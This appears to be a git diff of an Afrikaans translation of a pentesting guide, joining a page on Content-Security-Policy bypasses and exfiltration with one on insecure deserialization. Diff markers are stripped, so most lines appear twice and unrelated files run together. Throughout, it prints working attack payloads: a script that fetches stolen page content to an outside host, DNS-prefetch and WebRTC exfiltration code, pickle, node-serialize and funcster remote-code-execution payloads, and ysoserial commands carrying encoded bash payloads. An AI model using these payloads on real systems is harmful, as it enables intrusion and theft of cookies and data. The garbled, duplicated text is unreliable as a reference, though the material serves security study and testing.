Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadaardige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadwillige javascript** kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP omseiling deur CSP te beperk
In [**hierdie CTF-skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**.
In [**hierdie CTF skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**.
Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut:
```html
@ -556,7 +556,7 @@ Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut:
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\
In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik om via **HTML inspuiting** 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\
CSP kan meer beperkend gemaak word deur **HTML meta-tags** te gebruik en inline skripte kan gedeaktiveer word deur die **invoer** wat hul **nonce** toelaat te **verwyder** en **spesifieke inline skrip via sha** te aktiveer:
```html
<meta
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS eksfiltrasie met Content-Security-Policy-Report-Only
As jy daarin slaag om die bediener te laat reageer met die koptekst **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
As jy daarin slaag om die bediener te laat reageer met die kop **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
Vir 'n voorbeeld [**kyk na hierdie CTF-skrywe**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -580,8 +580,8 @@ document.querySelector("DIV").innerHTML =
### Inligting Lek met CSP en Iframe
- 'n `iframe` word geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
- Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waartoe die aanvanklike URL gelei het.
- Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word nie deur CSP.
- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waarnatoe die aanvanklike URL gelei het.
Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
@ -591,7 +591,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
```
Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.
Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide onbedoeld sensitiewe inligting kan lek.
Trick from [**here**](https://ctftime.org/writeup/29310).
@ -599,18 +599,18 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
### PHP Foute wanneer te veel params
Volgens die [**laaste tegniek kommentaar in hierdie video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST parameters en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP webkode **sal nie gestuur word** weens die fout wat dit sal veroorsaak nie.
Volgens die [**laaste tegniek kommentaar in hierdie video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP webkode **sal nie gestuur word** weens die fout wat dit sal veroorsaak nie.
### PHP antwoordbuffer oorlaai
### PHP responsbuffer oorlaai
PHP is bekend vir **buffering die antwoord tot 4096** bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur **genoeg data binne waarskuwings** te verskaf, sal die **antwoord** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
Dan bestaan die tegniek basies uit **die antwoordbuffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
PHP is bekend vir **buffering die respons tot 4096** bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur **genoeg data binne waarskuwings** te verskaf, sal die **respons** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
Dan bestaan die tegniek basies uit **die responsbuffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Herschryf Foutbladsy
### Herskryf Foutbladsy
Van [**hierdie writeup**](https://blog.ssrf.kr/69) blyk dit moontlik te wees om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.
Van [**hierdie skrywe**](https://blog.ssrf.kr/69) blyk dit moontlik te wees om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **in 'n eindpunt van 'n bladsy** misbruik om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **payload** gebruik om die **DOM** van die **werklike eindpunt te misbruik**. Vir meer inligting, kyk:
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) **in 'n eindpunt van 'n bladsy** misbruik om **ander eindpunte van dieselfde oorsprong te misbruik.** Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy te verfris na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die **kwesbare eindpunt** die **`opener`** objek in die **payload** gebruik om die **DOM** van die **werklike eindpunt te misbruik**. Vir meer inligting, kyk:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -632,7 +632,7 @@ Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk [https://octagon.n
## CSP Exfiltration Bypasses
As daar 'n streng CSP is wat jou nie toelaat om met **eksterne bedieners** te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekfiltreer.
As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te **interaksie** nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te ekstrapoleer.
### Location
@ -650,7 +650,7 @@ Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie
### DNS Prefetch
Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas.\
Jy kan 'n blaaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
Jy kan 'n blaier aanwys om 'n hostname vooraf op te los met: `<link rel="dns-prefetch" href="something.com">`
Jy kan hierdie gedrag misbruik om **sensitiewe inligting via DNS versoeke te exfiltreer**:
```javascript
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Op verskeie bladsye kan jy lees dat **WebRTC nie die `connect-src` beleid** van die CSP nagaan nie.
Werklik kan jy _leak_ inligting gebruik maak van 'n _DNS versoek_. Kyk na hierdie kode:
Werklik kan jy _leak_ inligting gebruikmakend van 'n _DNS versoek_. Kyk na hierdie kode:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

View File

@ -94,7 +94,7 @@ Jy kan 'n verduidelikende **PHP voorbeeld hier** lees: [https://www.notsosecure.
### PHP Deserial + Autoload Klassen
Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
Jy kan die PHP autoload funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
{{#ref}}
php-deserialization-+-autoload-classes.md
@ -119,11 +119,11 @@ $ser=serialize($o);
[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP deserialisasies te misbruik.\
Let daarop dat jy in verskeie gevalle **nie 'n manier sal kan vind om 'n deserialisasie in die bronnekode** van die toepassing te misbruik nie, maar jy mag dalk die **kode van eksterne PHP-uitbreidings kan misbruik.**\
So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir 'n moontlike gadget wat jy kan misbruik.
So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir moontlike gadgets wat jy kan misbruik.
### phar:// metadata deserialisasie
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\
Vir meer inligting, lees die volgende pos:
{{#ref}}
@ -134,7 +134,7 @@ Vir meer inligting, lees die volgende pos:
### **Pickle**
Wanneer die objek ontpikkel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\
Wanneer die objek ontpiksel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\
Wanneer dit misbruik word, kan die bediener 'n fout teruggee.
```python
import pickle, os, base64
@ -145,7 +145,7 @@ print(base64.b64encode(pickle.dumps(P())))
```
Voordat jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
Vir meer inligting oor ontsnapping uit **pickle jails** kyk:
Vir meer inligting oor ontsnap uit **pickle jails** kyk:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -153,13 +153,13 @@ Vir meer inligting oor ontsnapping uit **pickle jails** kyk:
### Yaml **&** jsonpickle
Die volgende bladsy bied die tegniek om **'n onveilige deserialisering in yamls** python biblioteke te **misbruik** en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**:
Die volgende bladsy bied die tegniek aan om **'n onveilige deserialisering in yamls** python biblioteke te **misbruik** en eindig met 'n hulpmiddel wat gebruik kan word om RCE deserialisering payload te genereer vir **Pickle, PyYAML, jsonpickle en ruamel.yaml**:
{{#ref}}
python-yaml-deserialization.md
{{#endref}}
### Klassie Pollusie (Python Prototype Pollusie)
### Klass Pollution (Python Prototype Pollution)
{{#ref}}
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@ -167,12 +167,12 @@ python-yaml-deserialization.md
## NodeJS
### JS Magiese Funksies
### JS Magic Functions
JS **het nie "magiese" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollusies misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
JS **het nie "magic" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollutions misbruik) en jy kan willekeurige kode uitvoer wanneer hulle aangeroep word.
Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
Nog 'n **"magic" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer word** net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -206,7 +206,7 @@ nodejs-proto-prototype-pollution/
### [node-serialize](https://www.npmjs.com/package/node-serialize)
Hierdie biblioteek stel jou in staat om funksies te serialiseer. Voorbeeld:
Hierdie biblioteek stel in staat om funksies te serialiseer. Voorbeeld:
```javascript
var y = {
rce: function () {
@ -234,8 +234,8 @@ Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en
Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval` funksie gebruik**.
Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar hakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
In die volgende stuk kode **let op die laaste hakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer:
In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar haakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer:
```javascript
var serialize = require("node-serialize")
var test = {
@ -254,9 +254,9 @@ U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js
### [funcster](https://www.npmjs.com/package/funcster)
'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking verhoed die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hersteld word met die volgende snit:
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit:
```javascript
funcster = require("funcster")
//Serialization
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit **maklik misbruik**:
As hierdie funksie gebruik word om voorwerpe te deserialiseer, kan jy dit **moeiteloos misbruik**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -313,7 +313,7 @@ In die volgende bladsye kan jy inligting vind oor hoe om hierdie biblioteek te m
## Java - HTTP
In Java, **word deserialisering terugroepe uitgevoer tydens die proses van deserialisering**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat lei tot potensiële uitvoering van skadelike aksies.
In Java, **word deserialisering terugroepe uitgevoer tydens die proses van deserialisering**. Hierdie uitvoering kan deur aanvallers uitgebuit word wat kwaadwillige payloads saamstel wat hierdie terugroepe aktiveer, wat kan lei tot die potensiële uitvoering van skadelike aksies.
### Vingerafdrukke
@ -335,55 +335,55 @@ Gee ekstra aandag aan:
#### Swart Bok
Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java geserialiseerde voorwerpe aandui (wat afkomstig is van `ObjectInputStream`):
Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java-serialiseerde objekke aandui (wat afkomstig is van `ObjectInputStream`):
- Heksadesimale patroon: `AC ED 00 05`.
- Base64 patroon: `rO0`.
- HTTP antwoordkoppe met `Content-type` gestel op `application/x-java-serialized-object`.
- Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`.
- Base64 patroon wat vorige kompressie aandui: `H4sIA`.
- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [pos oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Kontroleer of kwesbaar
As jy wil **leer hoe 'n Java Deserialized exploit werk**, moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
As jy wil **leer hoe 'n Java Deserialized exploit werk** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### Witdoos Toets
#### White Box Toets
Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.
```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
U kan probeer om **al die biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of u kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
U kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\
Wanneer u **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee vir die ton waarskuwings/foute wat dit ondergaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
Jy kan probeer om **alle biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of jy kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\
Wanneer jy **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
#### Swartdoos toets
Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan u **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\
Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan jy **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\
[**Lees dit om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe is gefokus op **`ObjectInputStream` deserializations**.
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan u **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en dit **ontplof**.\
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan jy **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en hulle **ontplof**.\
[**Lees dit om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserializations.
U kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserializations** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisatie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.\
[**U kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserializations** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisatie biblioteke. In aktiewe modus sal dit probeer om hulle te bevestig met behulp van slaap of DNS payloads.\
[**Jy kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialisering toets**
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan u in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (miskien u admin regte binne 'n webapp te gee).\
As u 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan u** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data u stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (miskien jou admin regte binne 'n webapp te verleen).\
As jy 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data jy stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
### **Ontploffing**
#### **ysoserial**
Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). U kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat u in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).\
Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou sal toelaat om komplekse opdragte (met pype byvoorbeeld) te gebruik.\
Let daarop dat hierdie gereedskap **gefokus** is op die ontploffing van **`ObjectInputStream`**.\
Ek sou **begin met die "URLDNS"** payload **voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
```bash
@ -430,7 +430,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag deur **spasies** geskei te gee (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html).
Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag geskei deur **spasies** oor te dra (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html).
Voel vry om die volgende skrip te gebruik om **alle moontlike kode-uitvoering** payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:
```python
@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
